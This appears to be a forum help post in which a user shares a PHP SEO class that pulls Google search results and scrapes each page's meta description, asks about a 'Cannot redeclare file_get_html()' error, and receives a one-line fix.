$result = array( 'link' => $g->url, 'title' => strip_tags( $g->content ), 'cache' => $g->cacheUrl, 'simular' => 'na' );
$arr[$phrase][] = $result;
}
}
$this->api_data = $arr;
}
public function google_search_api($args, $url, $api = true){
if ( !array_key_exists('v', $args) ) {
$args['v'] = '1.0';
}
$url .= '?'.http_build_query($args, '', '&');
if( $result = #file_get_contents($url) ) {
if( $api == true ) {
return json_decode($result);
}else{
return $result;
}
}else{
Throw new exception("No data returned from url: $url");
}
}
public function set_get_actual( $string ) {
$this->actual->name = $string;
$this->actual->data = file_get_contents( $string );
}
public function get_actual_description(){
require_once "simple_html_dom.php";
new simple_html_dom();
$html = str_get_html( $this->actual->data );
return $html->find('head meta[name=description]',0)->content;
$html->clear();
}
}
?>
called by :
<?php
try{
require "./classes/class_true_seo.php";
$seo = new true_seo();
$seo->set_g_key('ABQIAAAAsWzmZ4RXdIk0a-LqpqKCBRSl_WmKnmsXGmN0kkjN2wkrfEOY-hT2sL-_x5v4NtT3DgElKNsR7FDJDQ');
$seo->set_phrase(array("web design mansfield"));
$seo->get_sites_use_api(10);
ob_start();
foreach( $seo->api_data as $key => $phrase_return ){
echo "<h2>" . $key . "</h2>";
foreach( $phrase_return as $rank => $results ){
$seo->set_get_actual( $results['link'] );
echo "<p class=\"link-head\"><strong>#" . ( $rank + 1 ) . "</strong> " . $results['link'] . "</p>";
echo "<p>" . $results['title'] . "</p>";
#echo "<p>" . $seo->get_actual_title() . "</p>";
echo "<p>" . $seo->get_actual_description() . "</p>";
#echo "<p>" . $seo->get_actual_amount_of('p') . "</p>";
#echo "<p>" . $seo->get_actual_amount_of('h2') . "</p>";
}
}
$api_return = ob_get_clean();
ob_start();
$seo->get_sites_use_spider(10);
foreach( $seo->non_api_data as $key => $phrase_return ){
echo "<h2>" . $key . "</h2>";
foreach( $phrase_return as $rank => $results ){
echo "<p class=\"link-head\"><strong>#" . ( $rank + 1 ) . "</strong> " . $results['link'] . "</p>";
echo "<p>" . $results['title'] . "</p>";
}
}
$non_api_return = ob_get_clean();
}catch(Exception $err){
$error = $err->getMessage();
}
?>
My problem being that I keep getting the error:
Fatal error: Cannot redeclare file_get_html() (previously declared in C:\wamp\www\seo\classes\simple_html_dom.php:37) in C:\wamp\www\seo\classes\simple_html_dom.php on line 41
which is due to the last function in the class get_actual_description().
Can anyone see where im cocking up?
regards,
Phil
put require_once "simple_html_dom.php" outside of function

Resources